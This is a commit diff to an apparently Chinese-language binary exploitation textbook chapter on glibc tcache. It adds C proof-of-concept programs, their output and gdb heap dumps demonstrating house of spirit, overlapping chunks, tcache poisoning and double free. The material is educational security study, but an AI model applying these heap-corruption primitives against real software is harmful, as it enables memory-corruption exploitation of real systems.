finish 4.14_glibc_tcache

doc/4.14_glibc_tcache.md

@@ -284,13 +284,13 @@ tcache_get (size_t tc_idx)
 
 int main() {
     void *p1 = malloc(0x10);
-    printf("1st malloc(0x10): %p\n", p1);
-    printf("Freeing the first one\n");
+    fprintf(stderr, "1st malloc(0x10): %p\n", p1);
+    fprintf(stderr, "Freeing the first one\n");
     free(p1);
-    printf("Freeing the first one again\n");
+    fprintf(stderr, "Freeing the first one again\n");
     free(p1);
-    printf("2nd malloc(0x10): %p\n", malloc(0x10));
-    printf("3rd malloc(0x10): %p\n", malloc(0x10));
+    fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
+    fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
 }
 ```
 ```
@@ -346,10 +346,324 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10
 于是我们得到了两个指向同一块内存区域的指针。
 
 #### tcache_house_of_spirit
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    malloc(1);  // init heap
+
+    fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
+    unsigned long long *a, *b;
+    unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
+
+    fprintf(stderr, "The chunk:  %p\n", &fake_chunk[0]);
+
+    fake_chunk[1] = 0x110;  // the size
+    memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
+
+    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
+    a = &fake_chunk[2];
+
+    fprintf(stderr, "Freeing the overwritten pointer.\n");
+    free(a);
+
+    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
+    b = malloc(0x100);
+    memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
+    fprintf(stderr, "malloc(0x100): %p\n", b);
+}
+```
+```
+$ ./tcache_house_of_spirit 
+We will overwrite a pointer to point to a fake 'smallbin' region.
+The chunk:  0x7fffffffdb00
+Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00.
+Freeing the overwritten pointer.
+Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10!
+malloc(0x100): 0x7fffffffdb10
+```
+tcache 在释放堆块时没有对其前后堆块进行合法性校验，只需要本块对齐（2*SIZE_SZ）就可以将堆块释放到 tcache 中，而在申请时，tcache 对内部大小合适的堆块也是直接分配的，导致常见的 house_of_spirit 可以延伸到 smallbin，而且比以前更加简单。
+
+在栈上构造 fake chunk，大小为 smallbin：
+```
+gdb-peda$ x/10gx fake_chunk 
+0x7fffffffdad0: 0x0000000000000000      0x0000000000000110  <-- fake chunk
+0x7fffffffdae0: 0x4141414141414141      0x4141414141414141
+0x7fffffffdaf0: 0x4141414141414141      0x4141414141414141
+0x7fffffffdb00: 0x4141414141414141      0x4141414141414141
+0x7fffffffdb10: 0x4141414141414141      0x4141414141414141
+```
+free 掉之后，该 fake chunk 被放进 tcache bin：
+```
+gdb-peda$ x/10gx fake_chunk 
+0x7fffffffdad0: 0x0000000000000000      0x0000000000000110  <-- fake chunk [be freed]
+0x7fffffffdae0: 0x0000000000000000      0x4141414141414141
+0x7fffffffdaf0: 0x4141414141414141      0x4141414141414141
+0x7fffffffdb00: 0x4141414141414141      0x4141414141414141
+0x7fffffffdb10: 0x4141414141414141      0x4141414141414141
+gdb-peda$ vmmap heap
+Start              End                Perm      Name
+0x0000555555756000 0x0000555555777000 rw-p      [heap]
+gdb-peda$ x/30gx 0x0000555555756000+0x10
+0x555555756010: 0x0000000000000000      0x0100000000000000  <-- counts
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x0000000000000000      0x0000000000000000
+0x555555756070: 0x0000000000000000      0x0000000000000000
+0x555555756080: 0x0000000000000000      0x0000000000000000
+0x555555756090: 0x0000000000000000      0x0000000000000000
+0x5555557560a0: 0x0000000000000000      0x0000000000000000
+0x5555557560b0: 0x0000000000000000      0x0000000000000000
+0x5555557560c0: 0x0000000000000000      0x00007fffffffdae0  <-- entries
+0x5555557560d0: 0x0000000000000000      0x0000000000000000
+0x5555557560e0: 0x0000000000000000      0x0000000000000000
+0x5555557560f0: 0x0000000000000000      0x0000000000000000
+```
+最后 malloc 即可将 fake chunk 取出来：
+```
+gdb-peda$ p b
+$1 = (unsigned long long *) 0x7fffffffdae0
+gdb-peda$ p a
+$2 = (unsigned long long *) 0x7fffffffdae0
+gdb-peda$ x/10gx fake_chunk 
+0x7fffffffdad0: 0x0000000000000000      0x0000000000000110  <-- new chunk
+0x7fffffffdae0: 0x4242424242424242      0x4242424242424242
+0x7fffffffdaf0: 0x4242424242424242      0x4242424242424242
+0x7fffffffdb00: 0x4242424242424242      0x4242424242424242
+0x7fffffffdb10: 0x4242424242424242      0x4242424242424242
+```
+于是我们就在得到了一个在栈上的 chunk。
 
 #### tcache_overlapping_chunks
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+
+int main() {
+    intptr_t *p1, *p2, *p3;
+
+    p1 = malloc(0x50 - 8);
+    p2 = malloc(0x20 - 8);
+    memset(p1, 0x41, 0x50-8);
+    memset(p2, 0x41, 0x30-8);
+    fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
+    fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
+
+    int evil_chunk_size = 0x110;
+    int evil_region_size = 0x110 - 8;
+    fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
+    *(p1-1) = evil_chunk_size;
+    fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
+    free(p1);
+
+    p3 = malloc(evil_region_size);
+    memset(p3, 0x42, evil_region_size);
+    fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
+    fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
+    fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
+}
+```
+```
+$ ./tcache_overlapping_chunks 
+Allocated victim chunk with requested size 0x48: 0x555555756260
+Allocated sentry element after victim: 0x5555557562b0
+Emulating corruption of the victim's size to 0x110
+Freed victim chunk to put it in a different tcache bin
+Requested a chunk of 0x100 bytes
+p3: 0x555555756260 ~ 0x555555756368
+p2: 0x5555557562b0 ~ 0x5555557562c8
+```
+在 `_int_free()` 时，libc 完全没有对 chunk 进行检查，所以我们可以直接修改其 size，在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk，造成堆块重叠。
+
+首先我们分配两个 chunk：
+```
+gdb-peda$ x/16gx 0x555555756260-0x10
+0x555555756250: 0x0000000000000000      0x0000000000000051  <-- chunk p1
+0x555555756260: 0x4141414141414141      0x4141414141414141
+0x555555756270: 0x4141414141414141      0x4141414141414141
+0x555555756280: 0x4141414141414141      0x4141414141414141
+0x555555756290: 0x4141414141414141      0x4141414141414141
+0x5555557562a0: 0x4141414141414141      0x0000000000000021  <-- chunk p2
+0x5555557562b0: 0x4141414141414141      0x4141414141414141
+0x5555557562c0: 0x4141414141414141      0x0000000000000411
+```
+然后修改第一个的 size 并将其释放：
+```
+gdb-peda$ x/16gx 0x555555756260-0x10
+0x555555756250: 0x0000000000000000      0x0000000000000110  <-- chunk p1 [be freed]
+0x555555756260: 0x0000000000000000      0x4141414141414141
+0x555555756270: 0x4141414141414141      0x4141414141414141
+0x555555756280: 0x4141414141414141      0x4141414141414141
+0x555555756290: 0x4141414141414141      0x4141414141414141
+0x5555557562a0: 0x4141414141414141      0x0000000000000021  <-- chunk p2
+0x5555557562b0: 0x4141414141414141      0x4141414141414141
+0x5555557562c0: 0x4141414141414141      0x0000000000000411
+gdb-peda$ vmmap heap
+Start              End                Perm      Name
+0x0000555555756000 0x0000555555777000 rw-p      [heap]
+gdb-peda$ x/30gx 0x0000555555756000+0x10
+0x555555756010: 0x0000000000000000      0x0100000000000000  <-- counts
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x0000000000000000      0x0000000000000000
+0x555555756070: 0x0000000000000000      0x0000000000000000
+0x555555756080: 0x0000000000000000      0x0000000000000000
+0x555555756090: 0x0000000000000000      0x0000000000000000
+0x5555557560a0: 0x0000000000000000      0x0000000000000000
+0x5555557560b0: 0x0000000000000000      0x0000000000000000
+0x5555557560c0: 0x0000000000000000      0x0000555555756260  <-- entries
+0x5555557560d0: 0x0000000000000000      0x0000000000000000
+0x5555557560e0: 0x0000000000000000      0x0000000000000000
+0x5555557560f0: 0x0000000000000000      0x0000000000000000
+```
+可以看到 chunk p1 并没有放到它应该去的 tcache bin 中，而是放到了修改 size 后对应的 tcache bin。
+
+最后将其 malloc 出来：
+```
+gdb-peda$ p p3
+$1 = (intptr_t *) 0x555555756260
+gdb-peda$ p p2
+$2 = (intptr_t *) 0x5555557562b0
+gdb-peda$ p p1
+$3 = (intptr_t *) 0x555555756260
+gdb-peda$ x/36gx 0x555555756260-0x10
+0x555555756250: 0x0000000000000000      0x0000000000000110  <-- chunk p3
+0x555555756260: 0x4242424242424242      0x4242424242424242
+0x555555756270: 0x4242424242424242      0x4242424242424242
+0x555555756280: 0x4242424242424242      0x4242424242424242
+0x555555756290: 0x4242424242424242      0x4242424242424242
+0x5555557562a0: 0x4242424242424242      0x4242424242424242  <-- chunk p2
+0x5555557562b0: 0x4242424242424242      0x4242424242424242
+0x5555557562c0: 0x4242424242424242      0x4242424242424242
+0x5555557562d0: 0x4242424242424242      0x4242424242424242
+0x5555557562e0: 0x4242424242424242      0x4242424242424242
+0x5555557562f0: 0x4242424242424242      0x4242424242424242
+0x555555756300: 0x4242424242424242      0x4242424242424242
+0x555555756310: 0x4242424242424242      0x4242424242424242
+0x555555756320: 0x4242424242424242      0x4242424242424242
+0x555555756330: 0x4242424242424242      0x4242424242424242
+0x555555756340: 0x4242424242424242      0x4242424242424242
+0x555555756350: 0x4242424242424242      0x4242424242424242
+0x555555756360: 0x4242424242424242      0x0000000000000000
+```
+于是 chunk p2 被 chunk p3 覆盖了。
 
 #### tcache_poisoning
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+
+int main() {
+    intptr_t *p1, *p2, *p3;
+    size_t target[10];
+    printf("Our target is a stack region at %p\n", (void *)target);
+
+    p1 = malloc(0x30);
+    memset(p1, 0x41, 0x30+8);
+    fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
+
+    fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
+    free(p1);
+    fprintf(stderr, "Emulating corruption of the next ptr\n");
+    *p1 = (int64_t)target;
+
+    fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
+    p2 = malloc(0x30);
+    memset(p2, 0x42, 0x30+8);
+    p3 = malloc(0x30);
+    memset(p3, 0x42, 0x30+8);
+    fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
+}
+```
+```
+$ ./tcache_poisoning 
+Our target is a stack region at 0x7fffffffdcc0
+Allocated victim chunk with requested size 0x30 at 0x555555756670
+Freed victim chunk to put it in a tcache bin
+Emulating corruption of the next ptr
+Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
+The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0
+```
+该实例通过破坏 tcache bin 中 chunk 的 fd 指针，将其指向不同的位置，从而改变 `tcache_entry` 的 `next` 指针，在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。
+
+分配一个 chunk p1 后释放，该 chunk 将被放入相应的 tcache bin，其 fd 指针被清空：
+```
+gdb-peda$ x/10gx (void *)p1-0x10
+0x555555756660: 0x0000000000000000      0x0000000000000041  <-- chunk p1 [be freed]
+0x555555756670: 0x0000000000000000      0x4141414141414141    <-- fd pointer
+0x555555756680: 0x4141414141414141      0x4141414141414141
+0x555555756690: 0x4141414141414141      0x4141414141414141
+0x5555557566a0: 0x4141414141414141      0x0000000000020961
+gdb-peda$ vmmap heap
+Start              End                Perm      Name
+0x0000555555756000 0x0000555555777000 rw-p      [heap]
+gdb-peda$ x/12gx 0x0000555555756000+0x10
+0x555555756010: 0x0000000000010000      0x0000000000000000  <-- counts
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x0000555555756670      0x0000000000000000  <-- entries
+```
+然后修改 fd 指针指向栈上的地址 target：
+```
+gdb-peda$ x/10gx (void *)p1-0x10
+0x555555756660: 0x0000000000000000      0x0000000000000041  <-- chunk p1 [be freed]
+0x555555756670: 0x00007fffffffdc80      0x4141414141414141    <-- fd pointer
+0x555555756680: 0x4141414141414141      0x4141414141414141
+0x555555756690: 0x4141414141414141      0x4141414141414141
+0x5555557566a0: 0x4141414141414141      0x0000000000020961
+```
+接下来的第一次 malloc 将 chunk p1 的地方取出：
+```
+gdb-peda$ x/10gx (void *)p1-0x10
+0x555555756660: 0x0000000000000000      0x0000000000000041  <-- chunk p2
+0x555555756670: 0x4242424242424242      0x4242424242424242
+0x555555756680: 0x4242424242424242      0x4242424242424242
+0x555555756690: 0x4242424242424242      0x4242424242424242
+0x5555557566a0: 0x4242424242424242      0x0000000000020961
+gdb-peda$ x/12gx 0x0000555555756000+0x10
+0x555555756010: 0x0000000000000000      0x0000000000000000
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x00007fffffffdc80      0x0000000000000000  <-- entries
+```
+可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。
+
+第二次 malloc，虽然 tcache bin 的 counts 为 0，但它并没有做检查，直接在 entries 指向的地方返回了一个 chunk：
+```
+gdb-peda$ x/10gx (void *)p3-0x10
+0x7fffffffdc70: 0x0000555555756670      0x00007fffffffdc80  <-- chunk p3
+0x7fffffffdc80: 0x4242424242424242      0x4242424242424242
+0x7fffffffdc90: 0x4242424242424242      0x4242424242424242
+0x7fffffffdca0: 0x4242424242424242      0x4242424242424242
+0x7fffffffdcb0: 0x4242424242424242      0x0000000000000000
+```
+于是我们得到了一个在栈上的 chunk。exe
+
+有趣的是 tcache bin 的 counts 居然产生了整数溢出（`0x00-1=0xff`）：
+```
+gdb-peda$ x/12gx 0x0000555555756000+0x10
+0x555555756010: 0x0000000000ff0000      0x0000000000000000
+0x555555756020: 0x0000000000000000      0x0000000000000000
+0x555555756030: 0x0000000000000000      0x0000000000000000
+0x555555756040: 0x0000000000000000      0x0000000000000000
+0x555555756050: 0x0000000000000000      0x0000000000000000
+0x555555756060: 0x00000000000000c2      0x0000000000000000
+```
+看来这个机制仍然存在很多的问题啊。
 
 这一节的代码可以在[这里](../src/Others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
 

src/Others/4.14_glibc_tcache/Makefile

@@ -0,0 +1,6 @@
+PROGRAMS = tcache_poisoning tcache_overlapping_chunks tcache_house_of_spirit tcache_dup
+CFLAGS += -Wpedantic -std=gnu11 -g 
+
+all: $(PROGRAMS)
+clean:
+	rm -f $(PROGRAMS)

src/Others/4.14_glibc_tcache/tcache_dup.c

@@ -3,11 +3,11 @@
 
 int main() {
     void *p1 = malloc(0x10);
-    printf("1st malloc(0x10): %p\n", p1);
-    printf("Freeing the first one\n");
+    fprintf(stderr, "1st malloc(0x10): %p\n", p1);
+    fprintf(stderr, "Freeing the first one\n");
     free(p1);
-    printf("Freeing the first one again\n");
+    fprintf(stderr, "Freeing the first one again\n");
     free(p1);
-    printf("2nd malloc(0x10): %p\n", malloc(0x10));
-    printf("3rd malloc(0x10): %p\n", malloc(0x10));
+    fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
+    fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
 }

src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c

@@ -0,0 +1,27 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main() {
+    malloc(1);  // init heap
+
+    fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
+    unsigned long long *a, *b;
+    unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
+
+    fprintf(stderr, "The chunk:  %p\n", &fake_chunk[0]);
+
+    fake_chunk[1] = 0x110;  // the size
+    memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
+
+    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
+    a = &fake_chunk[2];
+
+    fprintf(stderr, "Freeing the overwritten pointer.\n");
+    free(a);
+
+    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
+    b = malloc(0x100);
+    memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
+    fprintf(stderr, "malloc(0x100): %p\n", b);
+}